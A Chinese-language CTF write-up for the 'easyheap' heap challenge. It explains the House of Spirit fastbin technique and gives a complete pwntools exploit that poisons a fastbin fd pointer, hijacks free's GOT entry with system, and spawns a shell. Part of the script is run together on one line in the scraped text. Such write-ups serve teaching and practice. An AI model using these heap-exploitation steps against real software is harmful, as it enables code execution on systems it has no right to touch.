1. 程式人生 > 實用技巧 >pwn-EasyHeap(House of spirit)

pwn-EasyHeap(House of spirit)

checksec看防護:

部分rel,說明got劫持可行

create:

edit:

delete:

題目有後門函式但buu環境無法利用,所以要通過House of Spirit偽造chunk getshell

house of spirit原理

house of spirit構造chunk時有幾個關鍵點

1.fake chunk 的 ISMMAP 位不能為1,因為 free 時,如果是 mmap 的 chunk,會單獨處理。

2.fake chunk 地址需要對齊, 32位8位元組對齊,64為16位元組對齊

3.fake chunk 的 size 大小需要滿足對應的 fastbin 的需求。

4.fake chunk 的 next chunk 的大小合理。

先給出exp:

#!/usr/bin/python
#coding:utf-8
from pwn import *

 

p = process('./easyheap')
#p = remote('node3.buuoj.cn',29727)
elf =ELF('./easyheap')

#context.log_level = 'debug'

def create(size,content):
  p.recvuntil('Your choice :')
  p.sendline('1')
  p.recvuntil('Size of Heap : ')
  p.send(str(size))
  p.recvuntil(
'Content of heap:') p.send(str(content)) def edit(index,size,content): p.recvuntil('Your choice :') p.sendline('2') p.recvuntil('Index :') p.sendline(str(index)) p.recvuntil('Size of Heap : ') p.send(str(size)) p.recvuntil('Content of heap : ') p.send(str(content)) def free(index): p.recvuntil(
'Your choice :') p.sendline('3') p.recvuntil('Index :') p.sendline(str(index)) free_got = elf.got['free'] create(0x68,'aaaa') #idx 0 create(0x68,'bbbb') #idx 1 create(0x68,'cccc') #idx 2 free(2) payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020a0-3) edit(1,len(payload),payload) #gdb.attach(p) create(0x68,'aaaa') #idx 2 create(0x68,'c') #idx 3 payload = 'a'*33+p64(free_got) edit(3,len(payload),payload) #gdb.attach(p) payload = p64(elf.plt['system']) edit(0,len(payload),payload) free(1) #gdb.attach(p) p.interactive()

create建立三個堆,釋放 idx 2.因為存在堆溢位,編輯idx 1通過溢位改寫idx 2,改寫fd位置為0x6020a0-3,並且在idx 1寫入binsh。

其實idx2 的fd本應為空。因為idx 2是第一個free的fastbin,根據fastbin的特性,這裡偽造的fd指向的地址在下一次申請

大小合適的堆時會被malloc(前提是堆合法,滿足上文提到的4點)。

所以我們接著create兩個堆,idx2和idx3。idx3的地址就是我們一開始寫入的地址。我們在這個地方構造fake chunk。

問題來了。為什麼是0x6020a0-3呢? 詳見:利用地址開頭 7f 來偽造大小為 0x70 的 fastbin

首先找到堆的地址0x6020e0,檢視附件記憶體,偏移為3時出現7f。 0xe0-0xad=0x33,0x33就是padding的長度

利用edit改寫heaparray[0]地址為free的got(got劫持)

再把system寫入idx0,釋放idx1即可執行引數為bin/sh的system命令。